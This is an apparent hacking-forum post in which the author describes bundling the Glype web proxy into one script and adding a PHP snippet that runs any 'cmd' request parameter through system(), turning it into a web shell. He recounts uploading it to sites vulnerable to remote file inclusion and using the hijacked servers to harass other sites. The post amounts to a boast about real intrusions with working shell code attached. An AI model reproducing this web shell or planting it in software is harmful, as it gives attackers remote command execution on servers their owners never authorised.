I use a stripped down version of glype. I've wrapped it all up in a single script and useless features where removed. The only thing I added was
PHP Code:
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    system($_REQUEST['cmd']);           
    die; 
to double as a web based shell aswell. I would look for a site vulnerable to remote file inclusion, upload it, then I trolled other sites.

Heh I litterally ran out publicly used web based proxys. It would have been cool if the mods here setup some sort of NORAD-like geographical graph of it all.